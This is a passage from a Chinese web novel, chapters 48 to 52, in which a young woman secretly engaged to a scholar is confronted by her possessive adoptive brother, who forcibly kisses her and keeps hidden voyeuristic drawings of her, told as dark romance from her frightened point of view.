赵媒婆分外热心,次日便帮两人合了八字,又算好了几个良辰吉日,姜芸薇害怕生出什么变故,索性便选了最早的那个,婚期就定在三月下旬,届时,春暖花开,万物复苏,正是适合办喜事的好日子。 心头悬着的那块巨石,总算落了地,姜芸薇心情极为轻快。 这些日子,她都闭门不出,只待在家中做绣活,她想要在婚期之前,亲手为自己绣一套喜服出来。 正绣到并蒂莲的花样时,院门外蓦地传来一阵敲门声,姜芸薇心中一紧,忙不迭将喜服藏到被褥下。 纵然理智告诉她,来人应该不会是季珣,季珣压根不会敲门,然而,姜芸薇却还是下意识感到紧张。 这些日子,她都只敢趁着季珣不在的时候绣喜服,唯恐被他瞧出了什么端倪,横生枝节——他眼下正在备考的紧要关头,倘若这个时候得知她要成婚的消息,定然会乱了心绪,影响了考试。 姜芸薇定了定神,缓步走到院中,朝着外面看去。 还好,来人是岑墨。 可下一瞬,似乎是想到了什么,她刚松懈下来的神色又倏然绷紧。 岑墨怎么会突然来她的住处找她?倘若不巧碰到阿珣,那可就麻烦了! 姜芸薇收敛心绪,打开门,柔声道:“你怎么来了?” 他们两人都不是什么高门大户,自然也没有大婚之日不得见面那些繁文缛节的规矩。 岑墨挠了挠头,“姜姑娘,我今日是特意来见你弟弟的,如今我们都定亲了,却还未见过令弟,实在失礼,我特意给他挑了礼物,想要送给他。” 姜芸薇愣了愣,她咬着唇瓣,一时不知道该如何作答。 半晌后,才斟酌着开口说道:“我弟弟他这些日子都很忙,怕是抽不出空与你相见,况且,你们会试在即,我不希望因为这些琐事,分了你的心,还是待到会试结束后,我再引荐你们正式见面吧。” 岑墨半点没多想,他点了点头,把一本装帧精美的书册递到姜芸薇的手中,“姜姑娘,这书,是我送给你弟弟的礼物,劳烦你代为转交。” 姜芸薇接过,点头应下。 岑墨不知想到了什么,耳根倏地漫上一层绯色,连带着脸颊也涨得通红,他垂着脑袋,目光躲闪着不敢看她,手指紧张的攥着一物,就连掌心都沁出了一层薄汗。 半晌后,他才慢吞吞的摊开掌心,磕磕绊绊道:“姜姑娘,这个是送给你的。” 姜芸薇愣了一下,定睛看去。 只见岑墨手中握着一只白玉簪,簪头雕刻着一朵小巧的莲花,莲心处嵌了一颗米粒大的红色珠子,莹白的玉色衬着那点嫣红,更添了几分俏丽灵动。 他视线落在地面上,耳根通红,声音低如耳语,“前些日子在街上瞧见这簪子,觉得极配你,便买了下来。” 看着少年羞涩的面容,姜芸薇只觉得心头像是揣了一只兔子,怦怦乱撞。 她垂下眼帘,唇角不自觉漾起一抹浅浅的笑意,声音软的像是春水,“多谢岑公子,我很喜欢。” 闻言,岑墨脸上顿时露出喜色,“那我帮你戴上。” 姜芸薇红着脸颊点了点头。 岑墨屏住呼吸,小心翼翼的抬手,将白玉簪插在她的鬓边。 两人靠的很近,近到能够闻到彼此身上的香气。 岑墨紧张的手心满是汗,他抬起头看向姜芸薇。 只见女郎乌黑的发鬓边插着一只白玉簪子,泛着温润的白色光泽,簪头的红珠为其增添了几分恰到好处的艳色。 女郎肤如凝脂,眉目秀美,恰如枝头迎风绽放的一株白色梨花,清新淡雅,不染尘俗。 岑墨呆呆的望着她,一时竟愣了神。 姜芸薇被他看的有些害羞,她垂下眼眸,轻轻咳了一声。 岑墨这才如梦初醒,连忙收回视线。 姜芸薇抬头望了一眼天色,担心季珣突然回来,便道:“岑公子,这些日子,你只管安心备考,切莫因为旁的事情分心,等到会试放了榜,我们的婚期……也快要到了。” 说到后面,她的声音也越来越小,声如蚊蚋,耳尖漫上一层薄红。 “好。”岑墨也红着脸点了点头,他望着姜芸薇,语气郑重道:“我此番定要金榜题名,然后再风风光光的迎娶姑娘过门。” * 待到岑墨离开后,姜芸薇看着手中的书册,犯起了难。 这是一本《大唐西域记》,讲述了法师玄奘的西域见闻,这种游记类的书,读来最能开阔眼界,放松心情,看得出来是岑墨精挑细选的,然而这个节骨眼下,她却不敢拿出送给季珣,他素来心细如发,倘若让他察觉到什么端倪,那就麻烦了。 正想的入神,突听院门外传来一阵脚步声。 姜芸薇心中一紧,季珣今日怎么这么早就回来了,她还没来得及做晚膳,也不知晓方才岑墨离开的时候,可有在巷口撞见季珣。 想到这里,她一时间慌了神,忙不迭转身走到屋内,匆匆将那书藏在枕头下面。 刚走出房间,迎面便撞见季珣从屋外走了进来。 少年似乎身量又高了些,他穿着一身淡青色团花纹直缀,外面披着月白色的羽缎斗篷,立在那里,恍若雪中的青竹,神清骨秀,身姿修长如玉。 姜芸薇唇角勉强挤出抹笑,“阿珣,你今日怎么这么早就回来了,我这就去做晚膳。” 季珣打断她,“今日我来做吧,阿姐你歇着就好了。” 姜芸薇也没坚持,她咬着唇瓣点了点头。 季珣视线在她面上逡巡一圈,倏然顿住,只见她鸦黑发鬓上,戴着一支白玉簪子莹润光洁,分外耀眼。 他勾了勾唇,慢条斯理道:“阿姐今日所戴这发簪,倒是格外适合你。” 闻言,姜芸薇一颗心瞬间提到了嗓子眼。 第49章 第49章 阿姐如今竟然开始骗他了…… 她垂着眼帘, 长睫轻轻颤动,只作害羞模样,缄默不语。 季珣似乎并未在意, 他转过身, 朝着灶房走去。 大约半个时辰后,季珣端着菜走了出来,摆在桌面上。 一共有三道菜, 清蒸鲤鱼、笋干肉丝、炒青菜。清蒸鲤鱼色泽洁白如玉, 上面淋着葱姜丝和红椒,笋干肉丝汤汁鲜美;还有一碟炒青菜, 鲜嫩欲滴,看着便清新爽口。 饭菜的香气在屋内弥漫, 暖融融的。 “阿姐, 可以吃饭了。”季珣端着盛好的米饭放在她的面前, 举动分外贴心。 姜芸薇心中不禁有些恍惚。 姐弟两人此刻心平气和的同桌而食, 好似又回到了从前在青阳镇时候的日子。 只是她心里明镜似的, 这看似岁月静好的画面,不过只是浮于表面的假象,有些东西一旦改变,便再也回不去了。 季珣蓦地开口,“阿姐,明日乃是花朝节,城中分外热闹, 不知阿姐可愿随我一同去踏春赏花?” 姜芸薇愣了愣,握着筷箸的手一顿。 这些日子,季珣每日早出晚归,忙得脚不沾地, 如今怎么突然有这闲情逸致,邀她去踏春赏花了? 沉默须臾后,姜芸薇缓声道:“阿珣来京城这些时日,想必也结识了不少朋友,这般热闹的日子,不如你和他们一道去,也好增进情谊。” 这便是婉言拒绝的意思了。 季珣似乎早就猜到她会这样说,他唇角勾起一抹极淡的笑,语气平和道:“让阿姐失望了,我来京城这么久,却一个朋友都没有交到,许是我性子太过沉闷寡言,旁人见了,避之唯恐不及。” 听他这般自贬,姜芸薇忙道:“怎么会呢,你只是外表看着不好接近,其实心地纯善,待人宽厚有礼,旁人只是不了解你。” “阿姐,我从来不在意旁人如何看待我。”季珣低笑一声,他抬眸,目光灼灼的望着她,又问了一遍,“阿姐可愿随我同去?” 看着他明亮的眼眸,姜芸薇想要拒绝的话霎时梗在喉间,却是无论如何都说不出口了。 罢了,再过不久,她便要嫁与旁人了,往后和阿珣,恐怕也是聚少离多,相见无期,如今既有这样的机会,便好好珍惜吧。 况且花朝节人多眼杂,想必阿珣也不会做出什么出格的举动。 * 二月十二花朝节。 时值仲春,天气逐渐转暖,京城百花齐放,一片春意融融。 街巷上分外热闹,众人早已换下了臃肿的冬衣,穿上了轻便的春衫,女郎们三三两两结伴而行,头上都簪着五颜六色的花,粉嫩的桃花、嫩黄的迎春花、雍容华贵的牡丹、衬的眉眼越发妍丽动人,就连扑面而来的风,都带着清甜的香气。 道路两旁车马云集,到处都是提着花篮叫卖的小贩,馥郁的香气浸润了整条长街。 姜芸薇难得瞧见这般热闹景象,脸上也多了几分真心实意的笑意。 她素来爱热闹,这份心思却从未对旁人提及过,季珣此番相邀,竟恰好遂了她的心愿。 “哥哥,姐姐,买朵花吧?”身侧小女孩脆生生的嗓音传入耳中。 姜芸薇脚步一顿,她还未回过神来,便见季珣已经递了碎银过去,俯身从花篮之中挑了一支开的正盛的海棠花,那花瓣上还凝着清晨的露珠,粉色花瓣簇拥着嫩黄的花蕊,花枝摇曳,娇艳欲滴。 “多谢大哥哥。”女孩嗓音甜的像是浸了蜜,她仰头望向姜芸薇,小脸上满是惊艳之色,“这位姐姐生的好漂亮,大哥哥,你也很英俊,你们好般配啊,这是不是就是阿娘给我讲的故事里头所说的郎才女貌!” 姜芸薇耳尖倏然泛红,正要开口解释,季珣却已颔首低笑,“多谢。” 小女孩嘻嘻一笑,蹦蹦跳跳地走开了。 “阿珣,你方才为何……”姜芸薇嘴唇翕动,一脸欲言又止的神情。 季珣微微一笑,“阿姐,童言无忌,何必和小孩子较真。” 闻言,姜芸薇只好点了点头,不再多言。 季珣手中执着那一枝娇艳的海棠花,越发衬托的手指修长如玉,他望着姜芸薇,眸中盛满了星星点点的笑意,“阿姐,今日乃是花朝节,照例应当簪花祈福,我也为你簪上这朵海棠花吧。” 姜芸薇微微一怔。 她还未来得及拒绝,季珣却已经拿着花,向她靠近了一步。 独属于男子身上的炙热气息直剌剌地扑了过来。 姜芸薇心中一紧,下意识的抓紧了裙裾。 季珣不急不缓的抬手,他视线停留在姜芸薇的头顶,她今日梳了一个堕马髻,发髻偏垂一侧,显得整个人多了几分慵懒柔美之态。 姜芸薇视线所及处,是季珣微微滚动的喉结,他的微凉指尖无意试的擦过她的耳廓,带起一阵细微的战栗。 她不由自主的咽了咽口水,耳尖瞬间红透。 长街上的喧嚣声似乎刹那间远去,唯有季珣身上的气息,一点点浸润她的感官。 季珣端详了半晌后,才缓缓将那朵垂丝海棠簪进她鸦黑的发鬓上。 花瓣上凝结的晨露,滴落 在她的后颈上。 姜芸薇身子不由颤了一下。 “好了。” 季珣后退半步,好整以暇地望着面前的姜芸薇。 她今日穿了件粉绿相间的襦裙,上襦是烟霞般的淡粉色,恍若晕开的一抹胭脂,下裙新绿,恰似春日里刚冒尖的嫩芽,这般明丽的颜色,衬托得她整个人多了几分少女的清媚。 鬓边那支垂丝海棠,在风中颤巍巍的,盈盈欲坠,淡粉色的花瓣映着她的脸庞,似乎也染上了一层霏霏的粉,当真是人比花娇。 被他这般盯着,姜芸薇不禁有些羞赧,她贝齿轻咬着下唇瓣,“阿珣,时候不早了,我们快些走吧。” 季珣点了点头,两人并肩往前走去。 约莫一刻钟的功夫,便来到了曲水河畔,此处分外热闹,河畔簇拥着许多身着彩衣罗裙的女郎,环佩叮当声此起彼伏,原是有人在湖畔设了香案,案上供着鲜花果品,十二位窈窕娉婷的女郎扮作的花神,正拈香祭祀祈福,衣香鬓影,笑语盈盈,一派热闹景象。 身后的岸边,绿草如茵,许多孩童正追逐打闹,伸手扑捕蹁跹飞舞的蝴蝶,留下一串银铃般的笑声,勾勒出一副鲜活热闹的盛景。 姜芸薇看着这一幕,唇角不自觉弯起,心情也跟着轻快起来。 来京城的这些日子,她见识了此处的喧嚣热闹,见识了朱雀大街的商铺林立,车水马龙,也见识了不同于青阳镇的广阔天地。她也从最开始的格格不入,到如今能够从容穿行于这繁华街市,而季珣,却似乎天生就适合待在这样的地方,如同鱼入江海,不过短短几月光景,便凭借着自身能力,在京城声名远扬。 两侧都是熙熙攘攘的人群,姜芸薇和季珣两人被裹挟在人潮之中,几乎是肩挨着肩,臂贴着臂,她的手肘时不时撞到他的身上,力道不重,姜芸薇的心头却有些慌乱,只得佯作若无其事,继续随着人潮往前走。 姜芸薇目光随意一瞥,倏地瞧见,不远处有一道熟悉的身影正朝着这边走来,俨然正是岑墨。 她面色遽变,情急之下,连忙拉着季珣的手,朝着一旁街角的巷子里拐去。 姜芸薇背紧贴着巷角的墙面,由于太过紧张,胸腔不住起伏,眼角余光瞥见岑墨顺着长街径直走了过去,并没有朝这边看,这才悄悄松了口气。 她一抬起头,便对上季珣似笑非笑的目光,“阿姐在躲什么,怎么如此慌张?” 姜芸薇脑海中“嗡”的一声,这才后知后觉的反应过来,她的手还紧握着季珣的手腕,他腕间的肌肤温热,隐约还能感受到单薄的皮肤下,血肉青筋的跳动。 热度顺着指尖攀援而上,她如同被火烫了般,猛的缩回手,她眼睫颤抖,一颗心怦怦直跳,“没什么,阿珣,我方才好像瞧见了一个熟人,这人之前和我有些小过节,所以这才想着避开。” 姜芸薇并不擅长说谎,她的目光闪烁着不敢看他,就连手指,也紧紧的攥着裙裾,白皙纤细的骨节都在微微发颤。 而这些,自然都逃不过季珣的眼睛。 阿姐如今竟然开始骗他了。 季珣眸光冷凝,在心中思忖着。 究竟是从何时开始? 这个念头刚冒出来,便恍若有根无形的线,陡然将脑海中零星的记忆都串联了起来——昨日,他提前归家,在巷口与一个陌生男子擦肩而过,那人似乎是个书生,身上穿着浆洗的发白的青色衣衫,没看清楚长相。 而他回到屋内,便瞧见阿姐鬓间插着一支他从未见过的白玉簪。 那些细碎的,被他忽略的蛛丝马迹恍若一张细密庞大的网,紧紧缠缚着他,裹得他喘不过气。 季珣浑身的血液瞬间凉透了,面上却依旧是不动声色的模样,唇畔甚至还嗪着一抹笑,“哦?我竟不知,阿姐何时与人有了过节?” 他往前半步,声线刻意压低,周身的气息沉沉压覆下来,带着几分若有似无的压迫感。 第50章 第50章 阿姐打我是应该的 姜芸薇有些紧张的咽了咽口水, 面上却强装镇定,“不过是些小争执罢了,也算不上什么大事。” “哦?是吗?”季珣轻笑一声, 他蓦地抬起手, 捻起她鬓边一缕滑落的发丝,指腹绕着发梢慢悠悠打转,“阿姐今日怎么不带那只白玉簪了?” 姜芸薇浑身一僵, 脊背瞬间绷紧, 她眼底漫上一层薄薄的水雾,惊惶不安, “阿珣,你这是做什么?” 她心底咯噔一下, 瞬间有了几分不好的预感, 莫不是季珣方才察觉了什么? 她抬眸觑了觑, 却见季珣神情平静无波, 竟是看不出丝毫端倪。 后背抵着冰冷坚硬的墙壁, 硌的背脊生疼,姜芸薇声音都带着几分不易察觉的颤意,“只是今日梳的这发髻,不适合戴那簪子。” “原来如此。”季珣若无其事的收回手,他视线在姜芸薇面上逡巡了一圈,唇边嗪了点漫不经心的笑意,“阿姐相貌清丽, 那支白玉簪太过寡淡,配不上阿姐,改日我再寻一支更好的送给阿姐。” 姜芸薇呼吸一窒,却不敢多说什么, 只得仓惶的点了点头。 季珣倏尔发出一声低叹,尾音极轻,“阿姐,我有些后悔了。” 姜芸薇不明所以,她正想要开口询问,季珣却蓦地俯下身子,温热的唇毫无预兆地覆了下来,将她未尽之言悉数吞没。 姜芸薇双眸倏然瞪大,眸底翻涌着惊愕和慌乱之色,“阿珣,你……唔。” 尚未开口,季珣滚烫灵巧的舌头便已经蛮横的抵开她的齿端,犹如一尾蓄势已久的游鱼,长驱直入地勾缠住她的软舌,肆意吮吸,疯狂掠夺她口中的气息。 姜芸薇只觉头晕脑胀,被他亲的浑身发软、晕眩无力,慌乱间,没忍住在他唇瓣轻轻咬了一下,淡淡的血腥味在两人唇齿间弥漫开来,季珣却像是毫无所觉,攻势半点未停。 姜芸薇又羞又恼,她拼命挣扎着,纤瘦的手推抵着他的胸膛,然而他浑身却僵硬如铁,根本无法撼动分毫。 巷子外分外热闹,不时有人经过,孩童嬉戏声、商贩叫卖声不绝而耳,衬托得这逼仄的巷角越发静默,周遭的热闹喧嚣恍若被一张无形的屏障隔开,遥远的恍若来自另一个世界。 姜芸薇被迫仰头,承受他来势汹汹、滚烫炙热如火的吻。 哪怕是在此时,这般强势的掠夺之下,季珣却还不忘将手掌垫在她的脑后,护住她的后脑勺,避免她挣扎之际,头不慎磕碰在墙壁上。 许久后,季珣才总算是放过了她,看着姜芸薇水雾濛濛的眼,他唇角勾起一抹笑意,眸色暗沉如墨,“阿姐,我后悔了,不想等到会试结束后了——” 话音还未落下,只听“啪”的一声,一道清脆的巴掌声蓦地响起。 季珣被打的偏过头去,白皙的脸颊上霎时浮现出几道清晰的红色指痕,分外灼眼。 姜芸薇胸膛微微起伏,掌心火辣辣的疼,她的浑身还在不可抑制的轻颤,眼尾泛着红,像是下一秒就要哭出来了。 她素来脾性好,别说是动手打人,就连与人争吵红脸的次数都寥寥无几,这还是她头一次动手打人,打的偏偏还是她一直视之为亲弟的少年。 “阿姐。”季珣手指轻轻抚上脸上的指痕印,非但不恼,反而唇角微扬,笑了起来,“我确实该打,你若是心中实在气恼的话,多打我几巴掌泄愤也是可以的。” 真是疯子! 姜芸薇气恼的瞪着他,一颗心恍若在温水中浸泡过,又酸又涩,阿珣如今怎 么变成这个样子了? 她猛的别过脸,声音刻意压得极低,却掩不住语气中哽咽的颤意,“阿珣,你到底知不知道自己在做什么?” 季珣轻轻叹了口气,面上神情软和了几分,他从袖中取出一块素色帕子,动作轻柔的一点点拭去她眼角的泪珠,“阿姐,我自然知晓。” 他目光黏在她泛红的眼尾上,唇边笑意融融,语气之中却带了几分迫人的诘问,“那阿姐你又为何要骗我?” 此言一出,姜芸薇脑海中轰然一响,一颗心怦怦直跳,分外不安,她实在拿不准,季珣究竟是当真知晓了什么,还是故意拿话在诈她。 她强压着慌乱,抬起眼帘,面色讪讪道:“阿珣,你这话是什么意思?” 季珣身形笼罩下来,将她娇小的身躯完完全全裹在他的阴影之下,他垂眸望着她,嗓音低柔,恍若情人之间的缠绵细语,“阿姐,我们分明说好了,等到我会试结束后,你就给我一个答案,可如今,你却背着我和别的男子私会,阿姐,你难道不该给我一个解释吗?” 季珣果然知晓了。 姜芸薇心尖猛地一颤,她一抬起头,便撞进季珣幽深的眸子中,那里面翻涌着她看不懂的炙热情绪。 她一时又慌乱又无措,指尖无意识的蜷缩了一下,半晌后,她才垂下眼睫,打定主意装傻到底,“阿珣,我听不懂你说的话。” 季珣低笑一声,眸底却无半分笑意,幽冷一片,“阿姐,你那日戴的那支玉簪,便是他送给你的吧?方才,阿姐也是在躲着那人吧?” 姜芸薇心中一时五味杂陈。 想必季珣只是猜到了她上次所戴那支簪子,乃是别的男子所赠,不过他应当还并不知晓,她已经和别人暗定了婚期,否则,也不会像现在这般平静了。 季珣眼下会试在即,此事暂时还不能让他知晓,否则定会扰乱心绪,影响了考试。 姜芸薇沉吟半晌后,指尖悄然攥紧了衣袖,抬眸柔声道:“阿珣,你误会了,那发簪虽然确实是旁人赠我的,不过我与他并无关系。” 季珣黑曜石般乌沉的眼珠子直勾勾的盯着她,似乎想要一寸寸剖开她的皮肉,看穿她的内心。 姜芸薇攥着袖角的手紧了紧,她有些心虚的眨了眨眼,长长的睫毛簌簌颤动,面上神情却强作镇定,迎着他那恍若能够洞察人心的视线。 季珣一言不发,只是用目光一寸寸描摹她的轮廓,从她微微颤抖的睫毛,到躲闪的眼神、洇红的眼尾。 半晌后,他才收回视线,略略点了点头,嗓音平和,听不出半点情绪起伏,“好,既然阿姐这样说,那我便信。” 姜芸薇闻言,心底紧绷的弦一松,不易察觉的松了口气。 两人之间陡然陷入了沉默。 看着季珣脸上泛红的巴掌印,姜芸薇胸腔中翻涌着的气愤情绪尽数消散,取而代之的是浓烈的愧疚与不安。 方才太过冲动,竟然打了阿珣一巴掌。 这还是她生平头一次动手打人。 阿珣皮肤本就生得格外白皙,在日光下,白的近乎透明,这也就衬托得那道红色的巴掌印颇为触目惊心。 姜芸薇抿了抿唇瓣,嗓音有些干涩,“阿珣,你的脸还疼吗?” 季珣低垂眼帘,将她眸中的心疼与愧疚尽收眼底。 他唇角牵起一抹若有似无的笑意。 阿姐总是这样,心软得过分,分明是他先强吻了她,然而阿姐转瞬间就将他的冒犯之举抛诸脑后,反倒为自己情急之下挥出的那一巴掌,露出这般愧疚不安的神情。 既然阿姐心疼他,那他自然要好好利用这一点,用示弱来换取阿姐心中那点怜惜,哪怕这点怜惜,无半分男女之间的旖旎心思,唯有对弟弟的怜惜与关切。 总有一日,阿姐的心软和良善会成为困住她的囚笼,成为将她拴在自己身边的筹码,而他会慢慢等待这一天的到来。 季珣收回思绪,他抬手抚上脸颊,垂眸哑声道:“不疼,阿姐打我是应该的,是我大逆不道,冒犯了阿姐。” 见他神情寥落,姜芸薇嗓音愈发柔和,“阿珣,你如今会试在即,应该把全部的心思都放在学业上,至于……” 至于那些旖旎心思,等到他来日金榜题名后,届时身边自然会有无数贵女闺秀环绕,等他见得多了,真正懂得了何为男女之情,对她的这份依赖之情,自然也就慢慢淡了。 她并未全部说出口,然而她的未尽之意,季珣却是心知肚明,这些日子,阿姐不过只是在拖延时间罢了,她不想因为此事,影响他的会试成绩。 季珣展颜一笑,“阿姐,我明白了,你放心,此次会试,我定会全力以赴。” * 两人又继续并肩往前走,默契的没有再提及方才的事情,面上瞧着都是心无芥蒂的模样,只是有些事情一旦发生了,便如同摔碎的铜镜,纵使费尽心机拼凑完整,那些细密的裂痕却依然存在。 两人在外头用了晚膳,回到家中后,已经是傍晚时分了,姜芸薇将鬓边的海棠花取了下来。 经过了一日,海棠花已经凋谢了,粉白色的花瓣焉焉地耷拉着,仿佛指尖轻轻触碰,就要簌簌飘落下来,就连白日里萦绕在鼻尖的淡雅香气,也早已了无痕迹。 姜芸薇脑海中蓦地浮现出白日里的光景,今日季珣为她簪花时,指尖触碰过她的耳廓时,那一点滚烫的热意。 她叹了口气,脑海中乱成一团,她再也无法像从前那样,心无芥蒂的只将他当成弟弟看待了。《 》 50-60 第51章 第51章 相敬如宾、举案齐眉 会试将近, 担心在这个节骨眼上被季珣察觉出什么端倪,姜芸薇这些时日,便再也没有和岑墨相见, 基本上每日都待在家中绣嫁衣。 她坐在床榻上, 指尖轻轻抚摸着放在膝上的朱红色嫁衣。 绣了这么些时日,总算是完成了。 嫁衣上用金色丝线绣着的缠枝莲花纹,被日光一照, 霎时流光溢彩, 熠熠生辉,每一针每一线, 皆是她夜半挑灯的心血。 念及将至的婚期,姜芸薇心中一时百感交集, 憧憬、期待、忐忑、以及对未知的茫然, 万般情绪齐齐涌上心头, 她无声轻叹了口气, 将喜服叠好, 小心翼翼的放入衣橱深处。 女子总归是要嫁人的,季母在世的时候,便已经在为她张罗相看婚事了,只是后来季母骤然大病一场,此事便耽搁了。 岑墨性情温和,相貌又生的清俊周正,又是有功名在身的举人, 见地方官可不必下跪,往后家人还能免徭役,只需春闱得中,便愈发前途无量, 两人婚后定然会相敬如宾、举案齐眉。 而季珣如今已经在京城声名鹊起,才名远播,待到此次春闱结束,她这个做姐姐的责任便都圆满尽到了,也不负季母临终的嘱托了。 到了那个时候,她心中便再无牵挂,可以安心嫁给岑墨,去过属于自己的生活了。 姜芸薇收回思绪,走出房间,甫一抬眼,便见季珣正坐在窗前看书。 春日的日光透过雕花窗棂照进来,恰好落在他的身上。 少年穿着一身宽大的白色长衫,手执书卷,正专注的低头看书,他侧脸线条清隽利落,鼻梁挺直,日光在他周身沐浴上一层柔和的光晕,他整个人耀眼的恍若自画卷之中走出的美少年。 姜芸薇愣神片刻,继而,若无其事的走了出去。 这些时日,季珣几乎每日都是闭门不出,只在家中温习功课,同处一个屋檐之下,两人自是免不了抬头不见低头见。 不过好在几日过去,姜芸薇也逐渐习惯了。 前些日子,她拜托赵媒婆递了口信给岑墨,只道春闱在即,为了不影响他的考试,两人近段时间,还是先不要再见面了。 岑墨自然也应下了。 姜芸薇前些日子在院子里的墙角处开垦了一小块畦地,种了些菜苗,如今被春日的雨水润过,细嫩的菜苗已经冒出了芽尖,一片绿意点点。 她面上露出笑意,拿起一旁的水瓢,弯下腰给菜苗浇水。 季珣手中虽然捧着书卷,视线却不由自主的落在窗外院子里的女郎身上。 姜芸薇今日穿了件极为惹眼的石榴红春衫,这般鲜艳的颜色,越发衬托得她肌肤莹白,眉眼妍丽。 她俯身给菜苗浇水时,宽大的衣襟领口垂落,露出胸前一片雪色丘壑,只见那白皙的颈下,一片细腻肌肤像是浸在水中的羊脂玉,泛着柔润的光泽,她分明生得纤瘦,然而胸前丘壑却是起伏分明。 那抹白,在红色衣衫的映衬下,越发晃眼。 季珣目光沉甸甸的压在那片裸露的肌肤上,宛如腹中空空的豺狼盯紧了毫无防备的猎物,等待时机将人拆吃入腹,予她致命一击。 作者有话说:先更一点,明天晚上再正常更新 第52章 第52章 他当真是疯了 会试前, 姜芸薇特意做了两个一模一样的平安符,打算分别赠给季珣和岑墨。 赠给岑墨的那个,姜芸薇早已拜托赵媒婆转交给他了, 而送给季珣的这个, 姜芸薇辗转思量了半日,还是打算亲自赠予他。 不巧的是,季珣今日外出去了, 一直等到傍晚, 仍未归来。 姜芸薇沉吟半晌后,还是决定将平安符放在他的屋内, 如此,他归来后自然能够看见。 明日便是会试之日了, 希望这个平安符能够庇佑他。 她抬步走到季珣的屋门前, 推开门走了进去。 两人虽然同住一个屋檐下, 朝夕相见, 然而这还是姜芸薇头一次踏入季珣的房间。 熏炉中残留着极淡的清冽梅香, 和季珣身上的气息一般无二,屋内物品收拾的分外干净整洁,就连桌上的笔墨纸砚,都摆放的极为规整。 姜芸薇走上前,正欲将平安符放置在他的桌面上,目光不经意间扫过书案,却瞥见旁边放着一幅半卷的画, 画上露出一角石榴红的衣裙,似乎有些眼熟。 她鬼使神差的将其抽出,打开看了一眼。 只一眼! 姜芸薇呼吸骤然凝滞。 那画上之人,竟然是她! 正是昨日晌午, 她在院子里菜畦边浇水的模样。 绘画之人画技精湛,笔触画的极为细腻,石榴红的春衫,鬓边垂落的几缕发丝,唇边的一抹浅淡笑意,以及俯身之际,衣襟滑落时露出的胸前沟壑,阴影起伏,都被描摹得栩栩如生。 姜芸薇浑身血液瞬间冻结,羞耻感如潮水般涌来,瞬间将她淹没。 她指尖一颤,画卷“哗啦”一声掉落在地面上。 那日,她全神贯注的在给菜苗浇水,丝毫没有意识到胸前竟然露出了一大片春色。 而且这一切,还被季珣看在眼里。 想到这里,姜芸薇突然觉得背脊攀上一层寒意,分明满室寂静,可她却恍惚觉得,屋内恍若有无数双眼睛,正从四面八方盯着她,那些目光,一寸寸,黏在她的衣襟,她的发丝,她裸露在外的每一寸肌肤上,流连不去。 她猛地打了个寒颤,浑身汗毛竖起,目光慌乱的扫过四周,却猝不及防瞧见书架底层竟放满了一叠画卷,连一丝空隙都没有。 她心中一紧,连忙蹲下身,将那些画卷抽出,一张张展开。 只一眼,她脸上血色瞬间褪去。 果然,无一例外,这画上之人,全部都是她。 有她立在书院门口给他送饭的,她夜半时分在灯下做绣活的,还有她冬日里穿着狐裘立在皑皑白雪里的。 甚至还有…… 她倒吸一口凉气。 只见画上的她,仅穿着一袭桃红色小衣,立于雾气缭绕的浴桶中,水汽氤氲,漫过肩头,恍若一层薄纱笼罩着肌肤,她锁骨处一颗朱红色小痣,被他用朱砂点的格外鲜明,恍若要破纸而出,艳得灼人眼目…… 是那日,他们刚搬去青阳镇的第一夜,她在沐浴之时,遇到了毒蛇,她吓得尖叫,是季珣破门而入,将毒蛇砍成两截。 彼时她太过慌乱,根本未曾留意,季珣竟然将她这样狼狈不堪的模样映入了脑海之中,还将其一笔一画、细细勾勒、描摹在画纸上。 原来早从那个时候起,他就已经对自己有了那样大逆不道的想法。 姜芸薇忽然觉得呼吸发紧,几乎快要喘不过气来,她双膝一软,整个人重重跌坐在冰凉的地面上。 指尖触及到地面上掉落的画纸,她恍若触到了烧红的烙铁,猛地缩回手,一脸惊惶。 起初乍见画像时的震惊早已烟消云散,只余下从心底深处蔓延开来的冷意。 姜芸薇原本以为,季珣对她的那些逾矩心思,不过只是错将亲人之间朝夕相处的依赖当成了男女之间的恋慕,才会走了岔路,一时执念深重,却不想,原本他从来不是一时兴起,而是蓄谋已久。 他当真是病得不轻! “阿姐。”门外的脚步声骤然响起,少年的声音和以往一般无二,清凌凌的,分外动听。 然而,落在姜芸薇的耳中,却犹如催命符一般可怖。 姜芸薇惊惶抬头,恰好撞入季珣含笑的眼眸中。 他不知道何时竟站在了门口,他目光淡淡扫过满地散落的画卷,面上神情没有丝毫被撞破的慌乱尴尬,反倒是平静得像一潭深水,看不出丝毫波澜。 “阿姐怎么来我屋内了,可是有事寻我?”季珣唇角微勾,露出一抹极其浅淡的笑意。 姜芸薇浑身不可抑制的轻颤,她脸色发白,唇瓣翕动了好几下,才颤声开口,“阿珣,我是来给你送平安符的。” 季珣目光落在惊惧颤抖的女子身上,语气轻缓,“阿姐,你在发抖,你很害怕我吗?” “阿珣,你……”姜芸薇说不出话来,她下意识地往后缩,然而,屋内狭窄逼仄,出口又被季珣挡着,她后背已经抵在桌岸上,退无可退。 恍若一只误入罗网的雀儿,翅尖颤个不停,偏生无路可逃。 季珣在她面前半步处停下脚步,他蓦地俯下身子,将地上散落的画卷一幅幅捡起。 两人距离刹那间靠的极近。 他弯腰时,散落的长发拂过姜芸薇的脸颊,带起一阵酥酥麻麻的痒意,他身上清冽的香气像是一张大网,从四面八方缠绕过来,将她密密实实的裹在其中。 “阿姐可是不喜欢这些画?”季珣将散落的画卷一一拾起,又用手指轻轻拂去上面沾染的灰尘,继而,又小心翼翼的将其放回原位,动作温柔的几近虔诚。 姜芸薇嗓音几乎是从齿缝中挤出,“阿珣,你疯了!我是你姐姐,你这样是错的。” 话音未落,季珣长臂一捞,蓦地将她从地面上拽了起来,姜芸薇猝不及防,整个人撞进他遒劲滚烫的胸膛上。 他的手臂紧箍着她纤细的腰肢,两人鼻尖贴着鼻尖,呼吸交缠,他说话时,温热滚烫的气息尽数喷洒在她的脸上,“阿姐,我已经说过了,你我并无血缘关系。” 姜芸薇害怕的浑身发抖,“那你也不可如此,倘若母亲泉下有知,如何能够安息?” 季珣闻言,突然低低地笑了,他弯了弯唇,“阿姐,母亲离世之前,最放心不下之人便是你我,倘若她知晓我们两人能够喜结连理,一辈子永不分离,定会为我们感到高兴的。” “你真是疯了!”姜芸薇心中一恸,又是悲戚,又是悔恨。 阿珣好好一个孩子,为何偏偏却变成了如今这样?倘若季母泉下有知,一定也会怪罪她没有教导好阿珣吧。 想到这里,她一时悲从中来,眼眶一热,泪珠般不受控般簌簌滚落,顺着脸颊蜿蜒而下,砸在衣襟上,晕开一道湿痕。 